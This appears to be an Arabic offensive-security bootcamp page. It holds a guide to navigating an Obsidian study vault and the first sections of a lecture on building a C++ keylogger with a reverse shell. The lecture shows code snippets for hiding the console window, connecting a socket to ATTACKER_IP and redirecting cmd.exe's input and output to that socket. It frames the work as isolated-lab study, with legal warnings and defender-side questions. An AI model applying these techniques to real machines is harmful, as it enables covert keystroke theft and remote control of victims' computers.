من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية،
إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة،
وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.
اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى
اليسار: ما على اليمين يجب أن يسبق ما على اليسار.
الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول
منشور حتى الآن
من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت
قبل أن تكمل.
الخزنة
المنهج كشبكة، لا كقائمة
كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات،
الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط
Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت
واحدة امتلأت العقد المشتركة معها.
لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة
تسمية تقطع الرابط.
الطريقة الأنظف · عبر Git
استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر
تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت
Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:
نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها:
اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK،
أو المسار الأقصر بين مفهومين.
دليل التنقّل يشرح الطريقة كاملة.
أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس
قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني
على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم
يُنظر إليها من جهة المدافع.
العمل مع المختصّين
تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على
بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً.
المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.
المختبرات هي الفرق
لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود
إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي
بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.
الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.
هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.
أولاً: افتح الخزنة
نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات.Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.
بنية الخزنة
المجلد
ما فيه
المحاضرات
نص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدورات
صفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة
كيف تقرأ ملف مفهوم
كل ملف مفهوم مبني على نفس الشكل:
رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟
الأدوات الخمس التي ستستخدمها
1. الرسم الكامل (Graph view)
الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:
Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.
النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.
2. الرسم الموضعي (Local graph)
من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:
Depth 1: ما يرتبط بالملف مباشرة.
Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.
هذه هي الأداة التي ستقضي فيها أكثر وقتك.
3. الروابط الخلفية (Backlinks)
في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.
اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.
5. البحث والتنقّل السريع
الأمر
ويندوز
ماك
فتح ملف بالاسم
Ctrl+O
Cmd+O
بحث في كل النص
Ctrl+Shift+F
Cmd+Shift+F
لوحة الأوامر
Ctrl+P
Cmd+P
الرسم الكامل
Ctrl+G
Cmd+G
إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.
مثال كامل: كيف تدرس موضوعاً واحداً
خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.
الخطوة 1: ابدأ من المفهوم، لا من المحاضرة
افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.
الخطوة 2: افتح الرسم الموضعي بعمق 1
سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.
قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.
الخطوة 3: اتبع أغرب جار
SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.
ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.
الخطوة 4: انزل إلى النص
من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.
الخطوة 5: اجمع المحور كله
ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.
الخطوة 6: اقلب السؤال
اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.
الخطوة 7: اكتب ملاحظتك أنت
أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].
اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.
نمط أسبوعي مقترح
اليوم
العمل
قبل المحاضرة
افتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءة
لا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءة
افتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعة
افتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوع
اكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل
أخطاء شائعة
قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.
keylogger_edu.cpp، بناء أوّل أداة هجومية بيديك _C++ خام · Windows API مباشرةً · لا مكتبات خارجيّة · لا شبكة إنترنت_
Cybersecurity Bootcamp، Phase 1: Red Team Foundations المحاضرة 1 من سلسلة Operation Shady RAT — نبني الحمولة، ثم في المحاضرة 2A نُغلّفها في Trojan Binder.
كيف تقرأ هذا المستند (مهم قبل البدء)
النص الأساسي عربي، اقرأ من اليمين إلى اليسار.
كتل الكود إنجليزية LTR، انسخها كما هي.
المصطلحات الإنجليزية القصيرة (GetAsyncKeyState, WSAStartup, sockaddr_in) داخل جمل عربية تظهر بعلامة backtick لتمييزها بصريّاً.
القوائم النقطية تفصل المفاهيم المختلطة، كل نقطة تقرأ باتجاه واحد واضح.
جميع كتل الكود قابلة للنسخ بضغطة واحدة، لا حاجة لتجميع من قطع.
التتبّع التفاعلي: في القسم 10 ستجد زرّاً «ابدأ التتبّع» يفتح واجهة تخطو معك في main() سطراً سطراً — Python المبسّطة، والأصل C++ بضغطة.
جدول المحتويات
#
الموضوع
0
لماذا نبني keylogger تعليميّاً؟ الفلسفة والحدود القانونية
1
التخفّي: hide() وإخفاء نافذة console
2
طبقة الشبكة: WSAStartup و WSASocket
3
sockaddr_in: عنوان الوجهة بثلاثة حقول
4
الخيوط (Threads): لماذا نحتاج ثلاثةً بالتوازي
5
ConnectThread: تحويل stdio عملية قادمة إلى السوكِت
الأدوات 1-3 و 5-6 على Host PC، الأداة 4 داخل VirtualBox بشبكة Host-Only.
القسم 0القسم 0: لماذا نبني keylogger تعليميّاً؟
قبل أيّ سطر كود، اتّفاق أخلاقيّ:
كلّ ما في هذه المحاضرة للدراسة في مختبرك المعزول فقط.
الشبكة Host-Only تعني: لا إنترنت. ما يخرج من الـ VM لا يصل إلى أحد.
نشر Keylogger على جهاز لا تملكه = جريمة في كلّ الأنظمة القانونية (CFAA في الولايات المتحدة، Computer Misuse Act في المملكة المتحدة، المواد 431-438 من قانون العقوبات العراقي...).
نبني لأنّنا نحتاج أن نفهم كيف يفكّر المهاجم لنستطيع كشفه. لا يمكن كشف ما لا تفهمه.
لماذا Keylogger بالتحديد كأوّل حمولة؟
بسيط لكن حقيقيّ: 388 سطر C++ يبني أداة APT من عصر Unit 61398 (سرقة تصاميم F-35). نفس التقنية.
Windows API خالصة: لا مكتبات خارجية، لا .NET، لا PyInstaller. تفهم كيف تعمل الأشياء تحت الجلد.
نتيجة ملموسة: تكتب كلمة على الـ VM، تراها تصل في Record.txt — لحظة الإدراك الأولى.
قاعدة للمحاضرات القادمة: التوصيل (المحاضرة 2A: Trojan Binder)، والاستمرارية، والمراوغة — كلّها تفترض أن الحمولة جاهزة عندك.
AllocConsole(): تضمن أنّ العملية تملك console خاصّة بها. لو أُطلقت من Explorer (نقرة مزدوجة) هذا يُنشئ console افتراضيّة؛ لو أُطلقت من عمليّة GUI أخرى قد لا يكون هناك واحدة — AllocConsole تعالج الحالتين.
FindWindowA("ConsoleWindowClass", NULL): يبحث عن نافذة بفئة ConsoleWindowClass — الاسم الداخلي الذي يعطيه Windows لكلّ نافذة console. NULL في المعامل الثاني تعني «أيّ نافذة بهذه الفئة». نحن أنشأنا واحدةً للتوّ فنحصل على مقبضنا.
ShowWindow(hwnd, 0): القيمة 0 = SW_HIDE. تُخفي النافذة بلا أن تُنهيها.
GetConsoleWindow() (استدعاء واحد بدل AllocConsole + FindWindow — لكن يحجب مفهوم فئات النوافذ).
Process Hollowing (نبتلع عمليّة شرعيّة ونستبدل ذاكرتها — مادّة متقدّمة).
استعملنا الأقدم لأنّها تُبيّن الأسس: ما هي «نافذة»، ما هي «فئة نافذة»، كيف يُميّزها Windows.
ما تبقى ظاهراً
العمليّة موجودة في Task Manager باسم keylogger_edu.exe واضحاً.
Process Explorer يُرى كلّ الـ Threads والاتصالات.
Windows Defender قد يعترض على كتلة الاستدعاءات (FindWindowA + ShowWindow(0) = نمط مشبوه لديه).
المرحلة التالية من الإخفاء (تسمية العمليّة svchost.exe مثلاً، الحقن في عمليّة أخرى، بلوك ETW/AMSI): محاضرات Phase 2.
🧪 معمل 1: افحص «فئات النوافذ»
افتح PowerShell على Host PC (لا داخل VM):
powershell
# قائمة كلّ فئات النوافذ الظاهرة الآنAdd-Type@"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class W {
[DllImport("user32.dll")] public static extern bool EnumWindows(IntPtr cb, IntPtr param);
[DllImport("user32.dll")] public static extern int GetClassName(IntPtr h, StringBuilder s, int c);
[DllImport("user32.dll")] public static extern bool IsWindowVisible(IntPtr h);
}
"@# ... (سنكتشف EnumWindows في محاضرة قادمة)
أو مباشرةً: افتح Spy++ من Visual Studio → View → Windows. ستجد كلّ نافذة مرئية بفئتها.
Notepad: Notepad
Explorer: CabinetWClass
cmd.exe: ConsoleWindowClass ← نفس الفئة التي نبحث عنها في hide()!
هذا يعني: FindWindowA("ConsoleWindowClass", NULL) سيُعيد أيّ console مفتوحة، لا بالضرورة نافذتنا نحن. عمليّاً لا مشكلة لأنّنا AllocConsole قبله بلحظات فنحن الأحدث، لكنّه هشّ فعلياً.
✅ اختبر نفسك: القسم 1
ما الفرق بين AllocConsole و GetConsoleWindow في مهمّة الإخفاء؟
لماذا hide() قبل WSAStartup وليس بعدها؟ أعطِ سببين.
إن كانت wWinMain أنظف، لماذا اختار الكود التعليميّ main مع AllocConsole؟
محلّل SOC ماذا يرى في Process Explorer بعد تنفيذ hide()؟
القسم 2القسم 2: طبقة الشبكة — WSAStartup و WSASocket
Winsock هي طبقة الشبكة في Windows (نظير POSIX sockets على Linux). التسلسل الإجباري:
WSAStartup لتحميل المكتبة.
WSASocket لإنشاء مقبض سوكِت.
(لاحقاً) WSAConnect للاتصال بمضيف.
(في النهاية) WSACleanup لإفراغ المكتبة (نحن لا نُنفّذها لأنّنا لا نخرج أبداً).
socket() هو BSD API القياسي (يعمل على Linux, macOS, Windows بنفس الشكل).
WSASocket نسخة Windows الموسّعة: تدعم رايات إضافية: — WSA_FLAG_OVERLAPPED لـ async I/O. — WSA_FLAG_NO_HANDLE_INHERIT لمنع توارث المقبض في العمليّات الفرعيّة.
في كودنا نمرّر NULL و 0 للمعاملات الإضافيّة → مطابق لـ socket() تماماً.
استعملنا WSASocket لأنّ الاسم يُصرّح صراحةً «هذا Winsock»، سهولة المتابعة في الكود التعليمي.
ما زلنا لم نتصل بأحد!
WSASocket يُنشئ مقبضاً محليّاً فقط. يعيش في جدول مقابض العمليّة (يقابله File Descriptor في Linux). لم يُرسل بايت واحد على الشبكة بعد.
الاتصال الفعليّ يحدث لاحقاً عبر WSAConnect داخل ConnectThread.
قبل الاتصال، يمكنك حجز نفس المقبض عدّة مرّات (المُنصت bind + listen، أو المتّصل connect).
✅ اختبر نفسك: القسم 2
لو نسيت WSAStartup قبل WSASocket، ما القيمة المُرجَعة من WSASocket وكيف تعرف السبب؟
لماذا لا يوجد مقابل لـ WSAStartup على Linux؟
ما الفرق بين SOCK_STREAM و SOCK_DGRAM في سياق keylogger — أيّهما أنسب ولماذا؟
لماذا MAKEWORD(2, 2) وليس MAKEWORD(2, 0)؟
القسم 3القسم 3: sockaddr_in — عنوان الوجهة بثلاثة حقول
عنوان IPv4 في Windows يُحمل في بنية sockaddr_in. نُعبّئ ثلاثة حقول قبل استعمالها.
البنية كما تُعرَّف في <winsock2.h>
cpp
struct sockaddr_in {
short sin_family; // AF_INETunsignedshort sin_port; // رقم المنفذ (بترتيب الشبكة)struct in_addr sin_addr; // IP كعدد 32-بتchar sin_zero[8]; // حشو، يجب أن يبقى صفريّاً
};
تعبئتها في main()
cpp
struct sockaddr_in hax; // متغيّر عالميّ → صفريّ ابتداءً
hax.sin_family = AF_INET; // ④ IPv4
hax.sin_port = htons(ATTACKER_PORT); // ⑤ ترتيب الشبكة
hax.sin_addr.s_addr = inet_addr(ATTACKER_IP); // ⑥ سلسلة → عدد
sin_family — لماذا نُكرّرها؟
عرّفناها AF_INET عند إنشاء السوكِت بـ WSASocket، ثم نُكرّرها هنا. لماذا؟
لو مرّرت sockaddr_in6 بـ sin6_family = AF_INET6 إلى نفس السوكِت التي أنشأتها AF_INET، سيفشل WSAConnect بـ WSAEINVAL.
htons — أخطر تفصيلة يتجاهلها المبتدئ
htons = Host TONetwork Short. أيّ: «حوّل هذا الـ unsigned short من ترتيب البايتات المحليّ إلى ترتيب الشبكة».
لماذا؟ الأجهزة مختلفة في ترتيب البايتات:
Little-endian (Intel x86, AMD64, معظم ARM اليوم): العدد 4444 (0x115C) يُخزّن 5C 11 في الذاكرة (البايت الأقلّ قيمةً أوّلاً).
Big-endian (SPARC القديم، بعض PowerPC، معظم شبكات RFC): نفس العدد يُخزّن 11 5C.
ترتيب الشبكة (RFC 1700): دائماً big-endian.
لو أرسلت 4444 بلا htons على جهاز x86:
الجهاز يخزّن 5C 11.
تُرسَل كما هي على السلك.
الطرف الآخر يقرأها كـ big-endian: 0x5C11 = 23,569، لا 4444.
تحاول الاتصال بمنفذ لا يُنصت فيه أحد → الاتصال يفشل بصمت ولن تعرف لماذا.
htons(4444) على x86 يقلبها إلى 0x5C11 = 11 5C في الذاكرة. تُرسل، يُقرأها الطرف الآخر كـ big-endian: 0x115C = 4444. صحيح.
على big-endian machines، htons لا يفعل شيئاً (البايتات في الترتيب الصحيح أصلاً). المُصرِّف يُبطلها كـ inline function.
inet_addr — من سلسلة إلى عدد 32-بت
cpp
inet_addr("192.168.56.1")
تُحوّل السلسلة إلى unsigned long (4 بايت) بالترتيب الشبكيّ مباشرةً (لا تحتاج htonl).
كلّ رقم في السلسلة يصبح بايت: 192 . 168 . 56 . 1 → 0xC0.A8.38.01 → مخزّن 01 38 A8 C0 على x86.
على السلك: C0 A8 38 01 (ترتيب big-endian المنتظر).
تحذير مهجورة: inet_addr تُعيد INADDR_NONE (= 0xFFFFFFFF) لسلسلة سيّئة. لكن 0xFFFFFFFF نفسها = 255.255.255.255 = عنوان بثّ IPv4 صحيح. فلا يمكن للكود التمييز بين الفشل و «العنوان الحرفيّ 255.255.255.255». الحديث inet_pton يُفصح بقيمة إرجاع منفصلة:
cpp
struct in_addr addr;
if (inet_pton(AF_INET, "192.168.56.1", &addr) != 1) {
// فشل صريح
}
استعملنا inet_addr لأنّها سطر واحد يعمل، مناسب للتعليم.
sin_zero[8] — الحقل المنسيّ
حشو 8-بايت في نهاية البنية. يجب أن يبقى صفريّاً لأنّ بعض تطبيقات sockets تفحصه للتحقّق من عدم فساد البنية.
عالميّاً (struct sockaddr_in hax; خارج أيّ دالّة): يبدأ صفريّاً تلقائيّاً (قاعدة C++: المتغيّرات العالميّة non-POD-initialized تكون صفر).
محليّاً (struct sockaddr_in hax; داخل دالّة): يحتوي قمامةً من الـ stack. يجبmemset(&hax, 0, sizeof(hax)) قبل استعمالها.
لهذا hax في كودنا معلَنة عالميّاً — تلقائيّة الصفريّة.
✅ اختبر نفسك: القسم 3
لماذا نُكرّر AF_INET مرّتين (في WSASocket وفي sin_family)؟
على معالج ARM يعمل big-endian، ماذا يفعل htons(4444)؟
لديك كود يعمل على Windows XP يستعمل inet_addr، وتريد نقله لمعالجة عنوان IPv6. ما البديل الحديث الذي يفعل الاثنين؟
أعلنت sockaddr_in hax; داخل main() ونسيت memset. ماذا سيحدث وما مدى انتظاميّة الفشل؟
القسم 4القسم 4: الخيوط (Threads) — لماذا نحتاج ثلاثةً بالتوازي
هذا القسم يشرح فكرة الخيوط قبل أن ندخل في تفاصيل ConnectThread و ShellThread. إن كنت تعرفها، تخطّى للقسم 5.
عمليّة واحدة، خيوط متعدّدة
عمليّة (Process): بيئة تنفيذ مستقلّة (ذاكرة خاصّة، جدول مقابض، عنوان قابل للتوصيف).
خيط (Thread): وحدة تنفيذ داخل عمليّة. تتقاسم الذاكرة مع الخيوط الأخرى في نفس العمليّة، لكن كلّ خيط له stack خاصّ به وعدّاد تنفيذ خاصّ (Program Counter).
Windows Task Manager يُظهر عدد الخيوط لكلّ عمليّة عند تفعيل عمود Threads. explorer.exe مثلاً يعمل بأكثر من 100 خيط، chrome.exe بمئات.
لماذا نحتاج ثلاثة خيوط بالتحديد؟
لدينا ثلاث مهامّ لا يمكن تسلسلها:
صيانة الاتّصال بالمهاجم (ConnectThread): حلقة أبديّة تُعيد المحاولة.
فتح صدفة cmd.exe (ShellThread): حلقة أبديّة تحاول CreateProcess حتى تنجح.
تسجيل ضغطات المفاتيح (log): حلقة أبديّة تفحص كلّ VK code.
لو وضعناها متتاليةً في main:
cpp
main() {
hide();
// ...network init...connectLoop(); // ← يعلق هنا للأبدshellLoop(); // ← لن يُنفَّذ أبداًlog(); // ← ولا هذا
}
سباق كتابة/قراءة (Race condition): خيطان يعدّلان نفس المتغيّر في نفس اللحظة → فساد.
سباق قراءة أثناء كتابة: خيط يقرأ نصف كتابة خيط آخر → قيمة مركّبة سيّئة.
ترتيب التنفيذ: خيط يفترض أن آخر انتهى، والنظام يجدولهما بالعكس.
كودنا يقع في مزلق حقيقيّ: ConnectThread يكتب ini_processo كلّ دورة، بينما ShellThread يقرأ نفس البنية عند CreateProcess. لو جاء ShellThread أوّلاً لكان ini_processo قمامةً (لم تُصفَّر بعد). عمليّاً يعمل الكود لأنّ CreateThread تحتاج مايكروثوانٍ لبدء الخيط، بينما memset فوريّ — سباق مُلطَّف بالمصادفة.
الحلّ الصحيح: Mutex أو Critical Section أو Atomic — مادّة محاضرات لاحقة.
كودنا يخلط الاثنين: CreateThread للخيطين الأوّلين (لتُري الطالب Win32)، std::thread للخيط الثالث (لتُري الطالب C++11 الحديث). في مشروع حقيقيّ يجب اختيار أحد النمطين للاتّساق.
✅ اختبر نفسك: القسم 4
ما الفرق بين العمليّة والخيط في استهلاك الذاكرة؟
لديك حلقة for تحتاج 30 ثانية على معالج نواة واحدة. لو قسّمتها على 4 خيوط على نفس النواة، هل تختصر الوقت؟ لماذا؟
ما هو Race Condition، وما مثال منه في كودنا؟
لماذا نستعمل join() بدل تركِ main تنتهي فوراً؟
القسم 5القسم 5: ConnectThread — تحويل stdio عملية قادمة إلى السوكِت
عندنا الآن سوكِت جاهز في يد main وعنوان مهاجم مكتوب في hax، ولم يُرسل بايت واحد بعد. الخيط الذي نحن بصدد قراءته هو الذي يوقظ كلّ هذا: يُهيّئ بنيةً غامضةً اسمها STARTUPINFO، ثم يطرق باب المهاجم في حلقة لا تنتهي. البنية هي القطعة الأهمّ في المشهد — بدونها لا صدفة عكسيّة، ومعها يصبح كلّ ما ستُطلقه من عمليّات فرعيّة يتنفّس عبر السوكِت. لنقرأها سطراً سطراً.
DWORD WINAPI ConnectThread(LPVOID arg) — أربع كلمات لكلٍّ منها قصّة. DWORD هي القيمة التي سيُصبح الخيط عندما ينتهي؛ لن نصل إلى return 0; أبداً لأنّ for (;;) لا يُنهي نفسه، لكنّ المُصرِّف يتطلّبها. WINAPI مرادف لـ __stdcall، الاصطلاح الذي يفرضه Win32 على دوال الخيوط — لو نسيته على معالج 32-بت لانهار الـ stack عند انتهاء الخيط لأنّ C++ يُنظّف بأسلوب __cdecl بينما Win32 يُنظّف بأسلوب __stdcall. على 64-بت هذه المشكلة اختفت (اصطلاح واحد فقط)، لكنّ العادة بقيت. LPVOID arg معامل يُمرَّر من CreateThread — نستقبله ولا نستعمله (نُمرّر NULL من main).
الفخّ الحقيقيّ: STARTUPINFO والكذبة الجميلة
الأسطر الأربعة التالية تبدو كتعبئة روتينيّة لبنية:
تعبئة، نعم — لكنّ ما نُعبّئه هو كذبة نتّفق عليها مع Windows. STARTUPINFO تُخبر النظام كيف نريد للعمليّة القادمة أن تبدأ: أين تكتب رسائلها، من أين تقرأ مدخلاتها. الافتراضيّ أن ترث الطفلة هذه المقابض من أمّها (لوحة مفاتيح، شاشة، إلخ). نحن نتدخّل ونقول للنظام: «لا. أَسْند الثلاثة كلّها — stdin و stdout و stderr — إلى هذا المقبض هنا. مقبض Winsock».
الآن قِف عند هذه الفكرة قليلاً. مقبض سوكِت ومقبض ملف ومقبض console — كلّها في نظر Windows نفس النوع (HANDLE). النظام لا يفرّق. حين تكتب عمليّة إلى stdout، فهي تنادي WriteFile على المقبض الذي هيّأناه، ولا تسأل «هل هذا console أم ملف أم سوكِت؟». printf, cout, WriteFile — كلّها تعمل. المُخرج يذهب حيث نُوجّهه.
عندما تصل ShellThread بعد قليل وتُطلق cmd.exe بهذه البنية، سترث cmd سوكِتنا مكان stdio الطبيعيّ. ما تطبعه cmd على «شاشتها» يصل إلى المهاجم عبر الشبكة. ما «يكتبه المستخدم على لوحة مفاتيح cmd» يأتي فعلاً من المهاجم. لقد بنينا صدفةً عكسيّةً، بلا سطر إضافيّ، بأربعة إسنادات لبنية.
الحقلان الصغيران قبل السحر
cb هو حجم البنية بالبايت. النظام يقرأه ليعرف أيّ إصدار من STARTUPINFO تستعمل (البنية توسّعت عبر إصدارات Windows). لو نسيته لتلقّيت خطأً غامضاً. STARTF_USESTDHANDLES راية تُخبر النظام: «انتبه، سأُعطيك مقابض stdio مخصّصة في hStdInput/Output/Error — لا تتجاهلها». بدونها يُهمل النظام الحقول التي عبّأناها للتوّ ويُعطي cmd مقابض stdio افتراضيّة، وينهار كلّ المخطّط.
هذا التسلسل الثلاثيّ (memset صفريّ ← cb = sizeof(...) ← عبّئ الحقول) نمط قياسيّ في Win32 يتكرّر مع WNDCLASSEX و SHFILEINFO و PROCESSENTRY32 وعشرات غيرها. البنية تحمل حجمها في أوّل حقل حتى يعرف النظام أيّ إصدار تستخدم — إذا رأيت هذا النمط تعرف أنّك تعامل واجهة Win32.
نُمرّر السوكِت، وعنوان الوجهة مصبوباً إلى النوع الأب SOCKADDR* (لأنّ WSAConnect تدعم sockaddr_in6 و sockaddr_un أيضاً — يجب أن يعرف أيّ نوع مرّرناه من حقل sin_family)، وحجم البنية، ثم أربع NULL لخيارات لا نستعملها.
لكن لاحظ ما لا تراه: القيمة المُرجَعة تذهب مباشرةً إلى القمامة. WSAConnect تُعيد 0 عند النجاح و SOCKET_ERROR عند الفشل، ولو لم يبدأ المهاجم ncat بعد لتلقّينا WSAECONNREFUSED. الكود لا يهتمّ. يعود إلى بداية الحلقة، يُصفّر البنية ثانيةً، يُعيد WSAConnect ثانيةً. إلى ما لا نهاية.
هذا اختيار مقصود — لكن مع أثمان. البساطة كاملة: لا فحص، لا فروع، لا حالات خطأ نديرها. الثمن ثقيل: استهلاك CPU مستمرّ، وفيض من محاولات TCP في السجلّ (SYN packets متلاحقة). أيّ IDS يُرى هذا فوراً. الكود الحقيقيّ الذي يريد التخفّي يُدرج Sleep(5000) بين محاولات، أو exponential backoff: انتظر ثانية، ثم ثانيتين، ثم أربعاً، إلى أن تصل حدّاً معقولاً. اختصرنا كلّ ذلك لنقاء الفكرة التعليميّة.
لماذا memset في كلّ دورة، لا مرّة واحدة؟
ini_processo عالميّة، فهي تبدأ صفريّةً تلقائيّاً (قاعدة C++). لماذا نُصفّرها ثانيةً في كلّ دورة من الحلقة؟
الجواب دفاعيّ. لو أنّ خيطاً آخر عدّل حقلاً بعد آخر مسح (نحن لا نملك مثل هذا الخيط، لكنّ الاحتراز مقصود)، نعيد البنية إلى حالة معروفة قبل بنائها من جديد. والأهمّ: العادة البرمجيّة في Win32 هي «صفّر ← ضع cb ← عبّئ»، ولو انحرفت عن هذا النمط سيعتقد قارئ الكود أنّك تعرف شيئاً هو لا يعرفه. الاتّساق مع النمط يُخبر القارئ «لا سرّ هنا، أنا مجرّد أتّبع القاعدة».
✅ اختبر نفسك: القسم 5
ما دور dwFlags = STARTF_USESTDHANDLES؟ لو نسيتها ماذا يحدث؟
لماذا نُسند نفس مقبض السوكِت لثلاثة حقول (stdin/stdout/stderr)؟
لماذا لا يفحص الكود القيمة المُرجَعة من WSAConnect؟ وما البديل الصحيح؟
